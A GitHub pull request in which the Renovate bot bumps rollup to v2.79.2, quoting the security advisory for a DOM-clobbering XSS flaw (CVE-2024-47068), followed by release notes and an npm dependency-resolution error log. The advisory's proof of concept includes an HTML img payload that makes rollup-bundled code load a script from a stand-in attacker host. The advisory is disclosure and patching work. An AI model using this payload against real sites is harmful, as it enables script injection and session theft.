Skip to content

chore(deps): update dependency rollup to v2.79.2 [security]#816

Open
renovate[bot] wants to merge 1 commit intodevelopfrom
renovate/npm-rollup-vulnerability
Open

chore(deps): update dependency rollup to v2.79.2 [security]#816
renovate[bot] wants to merge 1 commit intodevelopfrom
renovate/npm-rollup-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate Bot commented Sep 24, 2024

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 2.51.22.79.2 age confidence

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

CVE-2024-47068 / GHSA-gcx4-mw62-g8wm

More information

Details

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details
Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

rollup/rollup (rollup)

v2.79.2

Compare Source

v2.79.1

Compare Source

v2.79.0

Compare Source

v2.78.1

Compare Source

v2.78.0

Compare Source

v2.77.3

Compare Source

v2.77.2

Compare Source

v2.77.1

Compare Source

v2.77.0

Compare Source

v2.76.0

Compare Source

v2.75.7

Compare Source

v2.75.6

Compare Source

v2.75.5

Compare Source

v2.75.4

Compare Source

v2.75.3

Compare Source

v2.75.2

Compare Source

v2.75.1

Compare Source

v2.75.0

Compare Source

v2.74.1

Compare Source

v2.74.0

Compare Source

v2.73.0

Compare Source

v2.72.1

Compare Source

v2.72.0

Compare Source

v2.71.1

Compare Source

v2.71.0

Compare Source

v2.70.2

Compare Source

v2.70.1

Compare Source

v2.70.0

Compare Source

v2.69.2

Compare Source

v2.69.1

Compare Source

v2.69.0

Compare Source

v2.68.0

Compare Source

v2.67.3

Compare Source

v2.67.2

Compare Source

v2.67.1

Compare Source

v2.67.0

Compare Source

v2.66.1

Compare Source

v2.66.0

Compare Source

v2.65.0

Compare Source

v2.64.0

Compare Source

v2.63.0

Compare Source

v2.62.0

Compare Source

v2.61.1

Compare Source

v2.61.0

Compare Source

v2.60.2

Compare Source

v2.60.1

Compare Source

v2.60.0

Compare Source

v2.59.0

Compare Source

v2.58.3

Compare Source

v2.58.2

Compare Source

v2.58.1

Compare Source

v2.58.0

Compare Source

v2.57.0

Compare Source

v2.56.3

Compare Source

v2.56.2

Compare Source

v2.56.1

Compare Source

v2.56.0

Compare Source

v2.55.1

Compare Source

v2.55.0

Compare Source

v2.54.0

Compare Source

v2.53.3

Compare Source

v2.53.2

Compare Source

v2.53.1

Compare Source

v2.53.0

Compare Source

v2.52.8

Compare Source

v2.52.7

Compare Source

v2.52.6

Compare Source

v2.52.5

Compare Source

v2.52.4

Compare Source

v2.52.3

Compare Source

2021-06-25

Bug Fixes
  • Fix an issue where code was wrongly removed when using vars in nested scopes (#​4149)
Pull Requests

v2.52.2

Compare Source

2021-06-21

Bug Fixes
  • Support falsy plugins in types (#​4144)
  • Do not require return value in renderChunkHook type (#​4144)
Pull Requests

v2.52.1

Compare Source

2021-06-17

Bug Fixes
  • Fix a memory leak in watch mode (#​4142)
Pull Requests

v2.52.0

Compare Source

2021-06-16

Features
  • Add --configPlugin CLI option to apply plugins to the config file for e.g. TypeScript configs (#​3835)
  • Add "safest" and "smallest" presets to tree-shaking options for easier configuration (#​4131)
  • Add treeshake.correctVarValueBeforeDeclaration option to deoptimize var declarations (#​4139)
Pull Requests

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
Copy link
Copy Markdown
Author

renovate Bot commented Sep 24, 2024

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json
npm warn Unknown env config "store". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: @lykmapipo/mongoose-connection@0.4.0
npm warn Found: mongoose@5.6.7
npm warn node_modules/mongoose
npm warn   mongoose@">=5.6.7" from the root project
npm warn   20 more (@codetanzania/emis-feature, @codetanzania/emis-role, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer mongoose@">=5.11.9" from @lykmapipo/mongoose-connection@0.4.0
npm warn node_modules/@lykmapipo/mongoose-connection
npm warn   @lykmapipo/mongoose-connection@">=0.4.0" from @lykmapipo/mongoose-test-helpers@0.8.6
npm warn   node_modules/@lykmapipo/mongoose-test-helpers
npm warn   1 more (@lykmapipo/mongoose-common)
npm warn
npm warn Conflicting peer dependency: mongoose@9.4.1
npm warn node_modules/mongoose
npm warn   peer mongoose@">=5.11.9" from @lykmapipo/mongoose-connection@0.4.0
npm warn   node_modules/@lykmapipo/mongoose-connection
npm warn     @lykmapipo/mongoose-connection@">=0.4.0" from @lykmapipo/mongoose-test-helpers@0.8.6
npm warn     node_modules/@lykmapipo/mongoose-test-helpers
npm warn     1 more (@lykmapipo/mongoose-common)
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: @lykmapipo/mongoose-test-helpers@0.8.6
npm error Found: mongoose@5.6.7
npm error node_modules/mongoose
npm error   mongoose@">=5.6.7" from the root project
npm error   peer mongoose@">=5.6.0" from @codetanzania/emis-feature@1.4.3
npm error   node_modules/@codetanzania/emis-feature
npm error     @codetanzania/emis-feature@">=1.4.3" from the root project
npm error     @codetanzania/emis-feature@">=1.4.2" from @codetanzania/emis-stakeholder@1.9.0
npm error     node_modules/@codetanzania/emis-stakeholder
npm error       @codetanzania/emis-stakeholder@">=1.9.0" from the root project
npm error   19 more (@codetanzania/emis-role, ...)
npm error
npm error Could not resolve dependency:
npm error peer mongoose@">=5.11.9" from @lykmapipo/mongoose-test-helpers@0.8.6
npm error node_modules/@lykmapipo/mongoose-test-helpers
npm error   dev @lykmapipo/mongoose-test-helpers@"0.8.6" from the root project
npm error
npm error Conflicting peer dependency: mongoose@9.4.1
npm error node_modules/mongoose
npm error   peer mongoose@">=5.11.9" from @lykmapipo/mongoose-test-helpers@0.8.6
npm error   node_modules/@lykmapipo/mongoose-test-helpers
npm error     dev @lykmapipo/mongoose-test-helpers@"0.8.6" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-04-08T17_19_59_306Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-04-08T17_19_59_306Z-debug-0.log

@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from b6e6d52 to d56e609 Compare September 26, 2024 22:48
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3 [security] chore(deps): update dependency rollup to v2.79.2 [security] Sep 26, 2024
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v2.79.2 [security] chore(deps): update dependency rollup to v2.79.2 [security] - autoclosed Dec 8, 2024
@renovate renovate Bot closed this Dec 8, 2024
@renovate renovate Bot deleted the renovate/npm-rollup-vulnerability branch December 8, 2024 18:29
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v2.79.2 [security] - autoclosed chore(deps): update dependency rollup to v2.79.2 [security] Dec 8, 2024
@renovate renovate Bot reopened this Dec 8, 2024
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from e9249a0 to d56e609 Compare December 8, 2024 21:05
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v2.79.2 [security] chore(deps): update dependency rollup to v2.79.2 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v2.79.2 [security] - autoclosed chore(deps): update dependency rollup to v2.79.2 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from d56e609 to af3965d Compare March 30, 2026 18:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants